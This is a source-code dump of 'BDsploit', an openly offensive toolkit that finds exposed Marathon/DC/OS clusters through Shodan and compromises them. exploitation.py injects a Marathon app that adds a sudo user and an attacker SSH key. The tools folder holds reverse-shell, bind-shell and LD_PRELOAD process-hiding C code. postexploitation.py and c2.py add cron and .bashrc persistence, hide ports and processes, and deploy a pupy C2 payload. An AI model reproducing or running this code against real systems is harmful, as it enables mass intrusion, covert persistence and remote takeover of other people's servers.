├── conf_template.ini ├── requirements.txt ├── .gitignore ├── tools ├── reverse.c ├── bind.c └── hideproc.c ├── bdsploit.py ├── delete.py ├── README.md ├── LICENSE ├── c2.py ├── shodan_thread.py ├── exploitation.py └── postexploitation.py /conf_template.ini: -------------------------------------------------------------------------------- 1 | [shodan] 2 | test = True 3 | test_url = CHANGE_IT_URL_for_testing 4 | NUMT = 40 5 | key = CHANGE_IT_shodan_key 6 | 7 | [exploit] 8 | ssh_pub = CHANGE_IT_ssh_public_key 9 | 10 | [c2] 11 | pythonvenv = CHANGE_IT_path_to_python_exec 12 | pupysh = CHANGE_IT_path_to_pupy 13 | pupygen = CHANGE_IT_path_to_pupygen 14 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | asn1crypto>=0.24.0 2 | bcrypt>=3.1.6 3 | certifi>=2019.3.9 4 | cffi>=1.12.3 5 | chardet>=3.0.4 6 | Click>=7.0 7 | click-plugins>=1.0.4 8 | colorama>=0.4.1 9 | cryptography>=2.6.1 10 | idna>=2.8 11 | paramiko>=2.4.2 12 | pyasn1>=0.4.5 13 | pycparser>=2.19 14 | PyNaCl>=1.3.0 15 | requests>=2.21.0 16 | shodan>=1.11.1 17 | six>=1.12.0 18 | urllib3>=1.24.1 19 | XlsxWriter>=1.1.5 20 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Distribution / packaging 2 | .Python 3 | build/ 4 | develop-eggs/ 5 | dist/ 6 | downloads/ 7 | eggs/ 8 | .eggs/ 9 | lib/ 10 | lib64/ 11 | parts/ 12 | sdist/ 13 | var/ 14 | wheels/ 15 | pip-wheel-metadata/ 16 | share/python-wheels/ 17 | *.egg-info/ 18 | .installed.cfg 19 | *.egg 20 | MANIFEST 21 | __pycache__/ 22 | 23 | # pyenv 24 | .python-version 25 | 26 | # Environments 27 | .env 28 | .venv 29 | env/ 30 | venv/ 31 | ENV/ 32 | env.bak/ 33 | venv.bak/ 34 | 35 | # Configuration files 36 | conf.ini 37 | 38 | # Custom files 39 | tools/template_* 40 | tools/bind 41 | tools/reverse 42 | tools/*.so 43 | tools/*.shell 44 | TODO 45 | .pupy_history 46 | -------------------------------------------------------------------------------- /tools/reverse.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define REMOTE_ADDR ADDRSUBS 8 | #define REMOTE_PORT PORTSUBS 9 | 10 | int main(int argc, char *argv[]) 11 | { 12 | struct sockaddr_in sa; 13 | int s; 14 | 15 | sa.sin_family = AF_INET; 16 | sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR); 17 | sa.sin_port = htons(REMOTE_PORT); 18 | 19 | s = socket(AF_INET, SOCK_STREAM, 0); 20 | connect(s, (struct sockaddr *)&sa, sizeof(sa)); 21 | dup2(s, 0); 22 | dup2(s, 1); 23 | dup2(s, 2); 24 | 25 | execve("/bin/sh", 0, 0); 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /bdsploit.py: -------------------------------------------------------------------------------- 1 | import shodan_thread 2 | import exploitation 3 | import postexploitation 4 | import c2 5 | import delete 6 | import time 7 | 8 | W = '\033[0m' # white (normal) 9 | R = '\033[31m' # red 10 | 11 | ''' 12 | Function to parse shodan_thread function output 13 | ''' 14 | def parseShodan(): 15 | l = shodan_thread.start() 16 | if len(l) == 1: 17 | return l[0] 18 | else: 19 | for v in l: 20 | print(v) 21 | 22 | ''' 23 | Big Data Exploitation Toolkit main function 24 | ''' 25 | def bdsploit(url): 26 | host = exploitation.exploit(url) 27 | print("***** To connect to the host use the following IP: {}{}{}".format(R, host, W)) 28 | postexploitation.postexploit(host) 29 | c2.c2(host, "tools/done.shell", "/home/test/.ssh/id_rsa", "/usr/.bdsptc2.shell", "/usr/.bdsptc2.sh") 30 | print("Sleeping 5 seconds to delete user and SSH key") 31 | time.sleep(5) 32 | delete.delete(host, "/home/test/.ssh/id_rsa") 33 | 34 | 35 | if __name__ == '__main__': 36 | l = shodan_thread.start() 37 | for v in l: 38 | bdsploit(v) 39 | -------------------------------------------------------------------------------- /delete.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | import configparser 4 | 5 | config = configparser.ConfigParser() 6 | config.read('conf.ini') 7 | 8 | # Get public SSH key 9 | ssh_pub = config.get('exploit', 'ssh_pub') 10 | 11 | 12 | ''' 13 | Function to delete SSH key 14 | ''' 15 | def delSSH(rhost, privk_path): 16 | print("Deleting SSH key...") 17 | command = "grep -v \"" + ssh_pub + "\" /root/.ssh/authorized_keys > temp && mv -f temp /root/.ssh/authorized_keys" 18 | delssh = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + command + "\nEOF" 19 | subprocess.run(delssh, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 20 | 21 | 22 | ''' 23 | Function to delete created user and all its files 24 | ''' 25 | def delUser(rhost, privk_path): 26 | print("Deleting user...") 27 | command = "/usr/sbin/userdel -f test" 28 | delusr = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + command + "\nEOF" 29 | subprocess.run(delusr, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 30 | 31 | 32 | def delete(host, privk_path): 33 | delUser(host, privk_path) 34 | delSSH(host, privk_path) 35 | -------------------------------------------------------------------------------- /tools/bind.c: -------------------------------------------------------------------------------- 1 | /* 2 | shell_bind_tcp 3 | * avoids SIGSEGV when reconnecting, setting SO_REUSEADDR (TIME_WAIT) 4 | # gcc -m32 shell_bind_tcp.c -o shell_bind_tcp 5 | # ./shell_bind_tcp 6 | Testing 7 | # nc 127.0.0.1 11111 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | int main() 17 | { 18 | 19 | int resultfd, sockfd; 20 | int port = PORTSUBS; 21 | struct sockaddr_in my_addr; 22 | 23 | // syscall 102 24 | // int socketcall(int call, unsigned long *args); 25 | 26 | // sycall socketcall (sys_socket 1) 27 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 28 | 29 | // syscall socketcall (sys_setsockopt 14) 30 | int one = 1; 31 | setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); 32 | 33 | // set struct values 34 | my_addr.sin_family = AF_INET; // 2 35 | my_addr.sin_port = htons(port); // port number 36 | my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP 37 | 38 | // syscall socketcall (sys_bind 2) 39 | bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr)); 40 | 41 | // syscall socketcall (sys_listen 4) 42 | listen(sockfd, 0); 43 | 44 | // syscall socketcall (sys_accept 5) 45 | resultfd = accept(sockfd, NULL, NULL); 46 | 47 | // syscall 63 48 | dup2(resultfd, 2); 49 | dup2(resultfd, 1); 50 | dup2(resultfd, 0); 51 | 52 | // syscall 11 53 | execve("/bin/sh", NULL, NULL); 54 | 55 | return 0; 56 | } 57 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BDsploit 2 | 3 | BDsploit (Big Data Exploitation and Post-exploitation Toolkit) is a series of scripts use to exploit and gain access on DC/OS and Marathon clusters. It also provides the ability to use Shodan API to search on the internet for exploitable clusters. 4 | 5 | Please, only use this code if you can exploit the cluster. 6 | 7 | ## Installation 8 | 9 | Create virtualenv: 10 | ~~~~ 11 | virtualenv -p python3 «env_name» && cd «env_name» 12 | ~~~~ 13 | 14 | Activate virtualevn: 15 | ~~~~ 16 | source bin/activate 17 | ~~~~ 18 | 19 | Clone this project: 20 | ~~~~ 21 | git clone https://github.com/b3d3c/BDsploit && cd BDsploit 22 | ~~~~ 23 | 24 | Install requirements: 25 | ~~~~ 26 | pip3 install -r requirements.txt 27 | ~~~~ 28 | 29 | Copy configuration file and edit it: 30 | ~~~~ 31 | cp conf_template.ini conf.ini 32 | ~~~~ 33 | 34 | Script must be run as root: 35 | ~~~~ 36 | sudo su 37 | source ../bin/activate 38 | python3 bdsploit.py 39 | ~~~~ 40 | 41 | ## Requirements 42 | It is neccessary to install [pupy](https://github.com/n1nj4sec/pupy) to use C&C capabilities. 43 | 44 | ## License 45 | This code is under BSD 3-Clause license. 46 | 47 | ## Legal disclaimer: 48 | Usage of BDsploit for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes 49 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2019, ebdecastro 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /c2.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import os 3 | import time 4 | import configparser 5 | 6 | config = configparser.ConfigParser() 7 | config.read('conf.ini') 8 | 9 | # Get testing value 10 | pythonvenv = config.get('c2', 'pythonvenv') 11 | pupysh = config.get('c2', 'pupysh') 12 | pupygen = config.get('c2', 'pupygen') 13 | 14 | 15 | ''' 16 | Function to start pupy server 17 | ''' 18 | def startPupy(venvpath, pupypath): 19 | print("Starting pupy server...") 20 | command = "x-terminal-emulator -e $SHELL -c " 21 | command = command + " \"" + venvpath + " " + pupypath + "\"" 22 | pupycom = subprocess.run(command, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 23 | 24 | 25 | ''' 26 | Function to generate payload 27 | ''' 28 | def genPayload(venvpath, pupygenpath, payload, privk_path, rhost, rpath): 29 | # Generating payload using pupygen.py script 30 | print("Generating pupy payload...") 31 | command = venvpath + " " + pupygenpath + " -O linux -A x64 -o " + payload 32 | subprocess.run(command, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 33 | 34 | print("Copying payload to remote host...") 35 | copy = 'scp -o StrictHostKeyChecking=no -i ' + privk_path + ' ' + payload + ' root@' + rhost + ':' + rpath 36 | subprocess.run(copy, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 37 | 38 | 39 | ''' 40 | Function to start payload generated 41 | ''' 42 | def startPayload(file, privk_path, rhost, rpath): 43 | 44 | # Creating sh script to execute payload 45 | print("Creating script to persist payload") 46 | check = "echo \"if ! netstat -atunp | grep 443 | grep atd >/dev/null; then\n" + rpath + "\nfi\" >> " + file 47 | ebashrc = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + check + "\nEOF" 48 | subprocess.run(ebashrc, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 49 | 50 | # Giving execution permisions to payload script 51 | execperm = "chmod 700 " + file 52 | giveperm = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + execperm + "\nEOF" 53 | subprocess.run(giveperm, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 54 | 55 | # Adding script to crontab 56 | print("Editing crontab to add persisted payload") 57 | cron = 'ssh -o StrictHostKeyChecking=no -i ' + privk_path + ' root@' + rhost + ' -t "echo \'*/1 * * * * root ' + file + '\' >> /etc/crontab"' 58 | subprocess.run(cron, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 59 | 60 | 61 | def c2(host, localpayload, privk_path, rpath, rfile): 62 | genPayload(pythonvenv, pupygen, localpayload, privk_path, host, rpath) 63 | startPupy(pythonvenv, pupysh) 64 | startPayload(rfile, privk_path, host, rpath) 65 | -------------------------------------------------------------------------------- /shodan_thread.py: -------------------------------------------------------------------------------- 1 | import shodan 2 | import sys 3 | import configparser 4 | import requests 5 | import threading 6 | import queue 7 | 8 | 9 | config = configparser.ConfigParser() 10 | config.read('conf.ini') 11 | 12 | # Get testing value 13 | test = config.getboolean('shodan', 'test') 14 | 15 | if test: 16 | test_url = config.get('shodan', 'test_url') 17 | 18 | # Get Shodan API key 19 | SHODAN_API_KEY = config.get('shodan', 'key') 20 | api = shodan.Shodan(SHODAN_API_KEY) 21 | 22 | # Get number of threads to use 23 | NUMT = config.get('shodan', 'NUMT') 24 | 25 | q = queue.Queue() 26 | san = queue.Queue() 27 | 28 | 29 | ''' 30 | Search results using Shodan API 31 | ''' 32 | def search(): 33 | try: 34 | results = api.search('X-Marathon-Leader') 35 | for result in results['matches']: 36 | try: 37 | ip = result['http']['host'] 38 | ip_str = result['ip_str'] 39 | if ip != ip_str: 40 | ip = ip_str 41 | port = str(result['port']) 42 | loc = result['http']['location'] 43 | if port == '443': 44 | url = 'https://' + ip + loc 45 | elif port == '8443': 46 | url = 'https://' + ip + ':' + port + loc 47 | else: 48 | url = 'http://' + ip + ':' + port + loc 49 | q.put(url) 50 | except KeyError: 51 | continue 52 | 53 | except shodan.APIError as e: 54 | print('Error: {}'.format(e)) 55 | 56 | 57 | ''' 58 | Sanitize list, remove not 200 OK URLs 59 | ''' 60 | def sanitize(): 61 | url = q.get() 62 | try: 63 | status = requests.get(url, timeout=5, verify=False).status_code 64 | if status == 200: 65 | san.put(url) 66 | except (requests.ConnectTimeout, requests.exceptions.ConnectionError, requests.exceptions.ReadTimeout) as e: 67 | return 68 | 69 | 70 | ''' 71 | Producer work 72 | ''' 73 | def producer(): 74 | try: 75 | search() 76 | except (OSError, KeyboardInterrupt): 77 | sys.exit(0) 78 | 79 | 80 | ''' 81 | Consumer work 82 | ''' 83 | def consumer(): 84 | while not q.empty(): 85 | sanitize() 86 | 87 | 88 | ''' 89 | Start threads function 90 | ''' 91 | def startThreads(): 92 | p = threading.Thread(target=producer) 93 | consumers = [threading.Thread(target = consumer) for i in range(int(NUMT))] 94 | 95 | p.daemon = True 96 | p.start() 97 | p.join() 98 | for c in consumers: 99 | c.daemon = True 100 | c.start() 101 | for c in consumers: 102 | c.join() 103 | 104 | 105 | def start(): 106 | if test: 107 | return [test_url] 108 | startThreads() 109 | l = [] 110 | while not san.empty(): 111 | v = san.get() 112 | l.append(v) 113 | -------------------------------------------------------------------------------- /exploitation.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import requests 3 | import time 4 | import json 5 | import queue 6 | import configparser 7 | 8 | config = configparser.ConfigParser() 9 | config.read('conf.ini') 10 | 11 | # Get public SSH key 12 | ssh_pub = config.get('exploit', 'ssh_pub') 13 | 14 | q = queue.Queue() 15 | 16 | 17 | ''' 18 | Execute process in Marathon to create user in node 19 | ''' 20 | def postExploit(url): 21 | urlexploit = url + "/service/marathon/v2/apps" 22 | id = "test" + str(int(time.time())) 23 | sudoers = '\\"test ALL=(ALL) NOPASSWD:ALL\\"' 24 | data = '{"cmd":"/usr/sbin/useradd test && mkdir -p /home/test/.ssh && echo -n ' + ssh_pub + ' > /home/test/.ssh/authorized_keys && echo -n ' + ssh_pub + ' >> /root/.ssh/authorized_keys && echo ' + sudoers + ' >> /etc/sudoers && sleep 1000","cpus":1,"mem":128,"disk":0,"instances":1,"id":"' + id + '"}' 25 | host = None 26 | 27 | try: 28 | print("Trying to inject exploit in URL {}".format(urlexploit)) 29 | req = requests.post(urlexploit, timeout=10, data=data, verify=False) 30 | if req.status_code == 201: 31 | print("Successful exploitation in URL {}\nCreated app with id {}".format(url, id)) 32 | urlget = urlexploit + "/" + id 33 | time.sleep(10) 34 | req2 = requests.get(urlget, timeout=5, verify=False) 35 | if req2.status_code == 200: 36 | reqjq = json.loads(req2.text) 37 | host = reqjq['app']['tasks'][0]['host'] 38 | q.put(id) 39 | 40 | else: 41 | print("\nError! Cannot inject exploit in URL {} due to HTTP error {}".format(url, req.status_code)) 42 | sys.exit(1) 43 | 44 | return host 45 | 46 | except (requests.ConnectTimeout, requests.exceptions.ConnectionError, requests.exceptions.ReadTimeout) as e: 47 | print("\nError! Cannot inject exploit in URL {} due to:\n{}".format(url, e)) 48 | 49 | 50 | ''' 51 | Function to delete process created in Marathon 52 | ''' 53 | def delExploit(url, id): 54 | urldel = url + "/service/marathon/v2/apps" + "/" + id 55 | 56 | try: 57 | print("Trying to delete service with ID {}".format(id)) 58 | req = requests.delete(urldel, timeout=10, verify=False) 59 | if req.status_code == 200: 60 | print("Successful deletion in URL {}\nDeleted service with id {}".format(url, id)) 61 | except (requests.ConnectTimeout, requests.exceptions.ConnectionError, requests.exceptions.ReadTimeout) as e: 62 | print("\nError! Cannot inject exploit in URL {} due to:\n{}".format(url, e)) 63 | 64 | 65 | def exploit(url): 66 | host = postExploit(url) 67 | print("Sleeping 5 seconds while job is being done...") 68 | time.sleep(5) 69 | print(q.qsize()) 70 | if q.qsize() > 0: 71 | id = q.get() 72 | else: 73 | print("Error! Cannot delete app. Exiting...") 74 | sys.exit(1) 75 | delExploit(url, id) 76 | 77 | return host 78 | -------------------------------------------------------------------------------- /tools/hideproc.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | /* 10 | * Every process with this name will be excluded 11 | */ 12 | static const char* process_to_filter = PROCESS; 13 | 14 | /* 15 | * Get a directory name given a DIR* handle 16 | */ 17 | static int get_dir_name(DIR* dirp, char* buf, size_t size) 18 | { 19 | int fd = dirfd(dirp); 20 | if(fd == -1) { 21 | return 0; 22 | } 23 | 24 | char tmp[64]; 25 | snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); 26 | ssize_t ret = readlink(tmp, buf, size); 27 | if(ret == -1) { 28 | return 0; 29 | } 30 | 31 | buf[ret] = 0; 32 | return 1; 33 | } 34 | 35 | /* 36 | * Get a process name given its pid 37 | */ 38 | static int get_process_name(char* pid, char* buf) 39 | { 40 | if(strspn(pid, "0123456789") != strlen(pid)) { 41 | return 0; 42 | } 43 | 44 | char tmp[256]; 45 | snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); 46 | 47 | FILE* f = fopen(tmp, "r"); 48 | if(f == NULL) { 49 | return 0; 50 | } 51 | 52 | if(fgets(tmp, sizeof(tmp), f) == NULL) { 53 | fclose(f); 54 | return 0; 55 | } 56 | 57 | fclose(f); 58 | 59 | int unused; 60 | sscanf(tmp, "%d (%[^)]s", &unused, buf); 61 | return 1; 62 | } 63 | 64 | #define DECLARE_READDIR(dirent, readdir) \ 65 | static struct dirent* (*original_##readdir)(DIR*) = NULL; \ 66 | \ 67 | struct dirent* readdir(DIR *dirp) \ 68 | { \ 69 | if(original_##readdir == NULL) { \ 70 | original_##readdir = dlsym(RTLD_NEXT, #readdir); \ 71 | if(original_##readdir == NULL) \ 72 | { \ 73 | fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \ 74 | } \ 75 | } \ 76 | \ 77 | struct dirent* dir; \ 78 | \ 79 | while(1) \ 80 | { \ 81 | dir = original_##readdir(dirp); \ 82 | if(dir) { \ 83 | char dir_name[256]; \ 84 | char process_name[256]; \ 85 | if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \ 86 | strcmp(dir_name, "/proc") == 0 && \ 87 | get_process_name(dir->d_name, process_name) && \ 88 | strcmp(process_name, process_to_filter) == 0) { \ 89 | continue; \ 90 | } \ 91 | } \ 92 | break; \ 93 | } \ 94 | return dir; \ 95 | } 96 | 97 | DECLARE_READDIR(dirent64, readdir64); 98 | DECLARE_READDIR(dirent, readdir); 99 | -------------------------------------------------------------------------------- /postexploitation.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import requests 3 | import time 4 | import json 5 | import queue 6 | import configparser 7 | import subprocess 8 | import fileinput 9 | import socket 10 | from shutil import copyfile 11 | import shlex 12 | import exploitation 13 | 14 | W = '\033[0m' # white (normal) 15 | R = '\033[31m' # red 16 | 17 | 18 | ''' 19 | Get IP of local host 20 | ''' 21 | def getIP(): 22 | return socket.gethostbyname(socket.gethostname()) 23 | 24 | 25 | ''' 26 | Function to create shell, reverse or bind 27 | ''' 28 | def createShell(port, name, rhost, remote_path, privk_path, type): 29 | # If shell type is reverse 30 | if type == 'r': 31 | host = '"' + getIP() + '"' 32 | 33 | # Copy C file to modify values 34 | copyfile('tools/reverse.c', 'tools/template_reverse.c') 35 | 36 | # Modify IP address and port 37 | for line in fileinput.input(['tools/template_reverse.c'], inplace=True): 38 | print(line.replace('ADDRSUBS', host), end='') 39 | for line in fileinput.input(['tools/template_reverse.c'], inplace=True): 40 | print(line.replace('PORTSUBS', str(port)), end='') 41 | 42 | # Compile reverse shell 43 | print("Compiling reverse shell...") 44 | path = 'tools/' + name 45 | subprocess.run(['gcc', 'tools/template_reverse.c', '-o', path], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) 46 | 47 | 48 | #If shell type is binds 49 | else: 50 | # Copy C file to modify values 51 | copyfile('tools/bind.c', 'tools/template_bind.c') 52 | 53 | # Modify port value 54 | for line in fileinput.input(['tools/template_bind.c'], inplace=True): 55 | print(line.replace('PORTSUBS', str(port)), end='') 56 | 57 | # Compile bind shell 58 | print("Compiling bind shell...") 59 | path = 'tools/' + name 60 | subprocess.run(['gcc', 'tools/template_bind.c', '-o', path], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) 61 | 62 | # Copy shell to remote host 63 | print("Copying shell to remote host...") 64 | copy = 'scp -o StrictHostKeyChecking=no -i ' + privk_path + ' ' + path + ' root@' + rhost + ':' + remote_path 65 | subprocess.run(copy, shell=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) 66 | 67 | # Print information about how to connect to shell 68 | if type == 'r': 69 | print("***** Use '{}nc -lvp {}{}' to connect to the reverse shell".format(R, port, W)) 70 | else: 71 | print("***** Use '{}nc {} {}{}' to connect to the bind shell".format(R, rhost, port, W)) 72 | 73 | 74 | ''' 75 | Function to start shell 76 | ''' 77 | def startShell(privk_path, rhost, remote_path): 78 | print("Starting shell...") 79 | start = 'ssh -o StrictHostKeyChecking=no -i ' + privk_path + ' root@' + rhost + ' -t "' + remote_path + '&"' 80 | subprocess.run(start, shell=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) 81 | 82 | 83 | ''' 84 | Function to edit crontab 85 | ''' 86 | def cron(privk_path, rhost, remote_path): 87 | #Install crontab in CentOS 88 | print("Trying to install crontab...") 89 | args = 'ssh -o StrictHostKeyChecking=no -i ' + privk_path + ' root@' + rhost + ' -t "yum -y install cronie && sudo systemctl start crond"' 90 | subprocess.run(args, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 91 | 92 | # Edit crontab to execute reverse shell process every minute 93 | print("Editing crontab to add persisted reverse shell") 94 | cron = 'ssh -o StrictHostKeyChecking=no -i ' + privk_path + ' root@' + rhost + ' -t "echo \'*/1 * * * * root ' + remote_path + '\' >> /etc/crontab"' 95 | subprocess.run(cron, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 96 | 97 | 98 | ''' 99 | Function to edit .bashrc or .bash_logout file to execute bind shell process every login 100 | ''' 101 | def bashrc(privk_path, rhost, remote_path, file): 102 | print("Editing {} file to add persisted bind shell".format(file)) 103 | check = "echo \"if ! pgrep -f \"" + remote_path + "\" >/dev/null; then\n" + remote_path + " &\nfi\" >> " + file 104 | ebashrc = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + check + "\nEOF" 105 | try: 106 | subprocess.run(ebashrc, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5) 107 | except: 108 | pass 109 | 110 | 111 | ''' 112 | Function to edit trap behaviour 113 | ''' 114 | def trap(privk_path, rhost, remote_path): 115 | print("Modifying trap behaviour to add persisted bind shell") 116 | command = "echo \"trap '" + remote_path + " &' INT\" >> /root/.bashrc" 117 | addtrap = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + command + "\nEOF" 118 | subprocess.run(addtrap, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 119 | 120 | 121 | ''' 122 | Function to hide ports used in bind and reverse shells 123 | ''' 124 | def hidePort(privk_path, rhost, portreverse, portbind): 125 | print("Hiding ports...") 126 | 127 | # Do not show portreverse and portbind when comman netstat is executed 128 | ntcommand = "echo \"netstat () {\n\tcommand netstat \\\"\${@:1:1}\\\" | grep -v " + str(portreverse) + " | grep -v " + str(portbind) + "\n}\" >> /etc/profile" 129 | ntport = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + ntcommand + "\nEOF" 130 | subprocess.run(ntport, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 131 | 132 | # Do not show portreverse and portbind when comman ss is executed 133 | sscommand = "echo \"ss () {\n\tcommand ss \\\"\${@:1:1}\\\" | grep -v " + str(portreverse) + " | grep -v " + str(portbind) + "\n}\" >> /etc/profile" 134 | ssport = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + sscommand + "\nEOF" 135 | subprocess.run(ssport, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 136 | 137 | 138 | ''' 139 | Function to hide processes used in bind and reverse shells 140 | ''' 141 | def hideProc(privk_path, rhost, procname, libname): 142 | procname = '"' + procname + '"' 143 | 144 | # Copy C file to modify values 145 | copyfile('tools/hideproc.c', 'tools/template_hideproc.c') 146 | 147 | # Modify process name value 148 | for line in fileinput.input(['tools/template_hideproc.c'], inplace=True): 149 | print(line.replace('PROCESS', procname), end='') 150 | 151 | # Compile C file and convert it in shared object (.so) 152 | print("Compiling process hider...") 153 | libpath = 'tools/' + libname 154 | subprocess.run(['gcc', '-Wall', '-fPIC', '-shared', '-o', libpath, 'tools/template_hideproc.c', '-ldl']) 155 | 156 | # Copy file to remote host 157 | print("Copying lib to remote host...") 158 | copy = 'scp -o StrictHostKeyChecking=no -i ' + privk_path + ' tools/' + libname + ' root@' + rhost + ':/usr/local/lib/' + libname 159 | subprocess.run(copy, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 160 | 161 | # Use shared object using dynamic linker 162 | echocommand = "echo \"/usr/local/lib/" + libname + "\">> /etc/ld.so.preload" 163 | echorun = "ssh -o StrictHostKeyChecking=no -i " + privk_path + " root@" + rhost + " -t sh << \"EOF\"\n" + echocommand + "\nEOF" 164 | subprocess.run(echorun, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 165 | 166 | 167 | def postexploit(host): 168 | createShell(8181, "reverse", host, "/usr/.bdsptr", "/home/test/.ssh/id_rsa", "r") 169 | hideProc("/home/test/.ssh/id_rsa", host, "/usr/.bdsptr", "librev.so") 170 | startShell("/home/test/.ssh/id_rsa", host, "/usr/.bdsptr") 171 | cron("/home/test/.ssh/id_rsa", host, "/usr/.bdsptr") 172 | createShell(8282, "bind", host, "/usr/.bdsptb", "/home/test/.ssh/id_rsa", "b") 173 | hideProc("/home/test/.ssh/id_rsa", host, "/usr/.bdsptb", "libbind.so") 174 | time.sleep(2) 175 | startShell("/home/test/.ssh/id_rsa", host, "/usr/.bdsptb") 176 | bashrc("/home/test/.ssh/id_rsa", host, "/usr/.bdsptb", "/root/.bashrc") 177 | bashrc("/home/test/.ssh/id_rsa", host, "/usr/.bdsptb", "/root/.bash_logout") 178 | trap("/home/test/.ssh/id_rsa", host, "/usr/.bdsptb") 179 | hidePort("/home/test/.ssh/id_rsa", host, 8181, 8282) 180 | --------------------------------------------------------------------------------